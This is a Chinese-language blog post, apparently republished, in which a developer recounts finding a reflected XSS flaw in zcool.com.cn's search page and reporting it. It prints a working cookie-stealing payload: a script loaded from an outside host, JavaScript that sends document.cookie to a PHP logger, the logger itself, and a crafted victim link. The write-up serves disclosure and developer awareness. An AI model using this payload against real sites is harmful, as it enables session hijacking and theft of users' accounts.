一個危險的XSS案例——輕松拿到登錄用戶的cookie


casperchen from IMWeb Team.
 
站酷是我很喜歡的設計類站點,上面有我大二美好的回憶,賣個廣告,我的個人主頁是: http://www.zcool.com.cn/u/346408
 
很好,其實上面不是重點。這段時間周圍出現了好幾單安全相關的問題,基本都是XSS漏洞導致的。於是內心一直惦記着,包括上個周末在逛站酷的時候,然后突發奇想: 站酷上是否也存在XSS漏洞呢?
 
 
找到XSS漏洞
 
本着學習交流的目的,用顫巍巍的手指在站酷的作品搜索攔里輸下了如下代碼
<script>alert(1)</script>

 

然后按下了回車(http://www.zcool.com,chrome瀏覽器下訪問) 

 
 
內心一陣失落,並沒有預期中那樣彈出個框來,嘆了口氣。但是,畢竟是個不輕言放棄的人,於是想了:chrome瀏覽器的安全機制是比較強大的,莫非是瀏覽器做了什么事情?
 
於是F12打開控制台,果然~~好吧,輸給chrome了。
 
 
既然如此,其他瀏覽器呢?一向挺喜歡freifox瀏覽器的,前端工作人員嘛,於是firefox毫不猶豫成了第二個試驗的對象。然后~~然后~~ congratulations!!
 
好大一個彈窗!
 
 
進一步利用XSS漏洞
 
雖然內容有一些雞凍,但僅僅找到一個XSS漏洞顯然無法滿足一個充滿求知欲望的前端攻城獅,於是繼續想:是不是可以利用它來做更多事情呢?
 
首先分析了下站酷的頁面表現神馬的,發現它是 將用戶輸入腳本直接輸出到頁面,那就好辦了,果斷輸入如下內容:
 
<script src="http://saintcoder.duapp.com/joke/joke.js"></script>
 
於是站酷華麗麗地就加載了一段joke.js(只是惡作劇性質的腳本),joke.js里面的代碼也很簡單,創建一個img標簽,將它的src屬性指向我預先寫好的一個腳本joke.php,這里關鍵的一點是: 將頁面的cookie最為參數附加到url后面
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://saintcoder.duapp.com/joke/joke.php?joke='+encodeURIComponent(document.cookie);

然后呢,joke.php里也是相當簡單,解析請求里面的joke參數(即用戶的cookie),然后。。。然后偷偷保留起來別有他用~~
<?php
    @ini_set('display_errors',1);
    $str = $_GET['joke'];
    $filePath = "joke.php";

    if(is_writable($filePath)==false){
         echo "can't write";
    }else{
          $handler = fopen(filePath, "a");
          fwrite($handler, $str);
          fclose($handler);
    }
?>

很好,頓時覺得站酷很危險,只要我把下面這段鏈接發給其他站酷用戶
 
http://www.zcool.com.cn/tosearch.do?page=0&world=%3Cscript%20src=%22http://saintcoder.duapp.com/joke/joke.js%22%3E%3C/script%3E

毫無壓力所有cookie到手,如果當時用戶登錄中效果更佳 :)
 
 
漏洞提交
 
找到漏洞很雞凍,但畢竟站酷是我挺喜歡的一個網站,也不希望它被人黑了。於是果斷給站酷管理員,並收到回復。god bless 站酷~
 
 
結束語
截至目前,該XSS漏洞已被修復,所以就把這篇文章貼出來分享下,避免過早公布導致站酷被人攻擊就不好了~~
 
網絡很不安全,開發兄弟們要加強安全防范意識啊~~~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM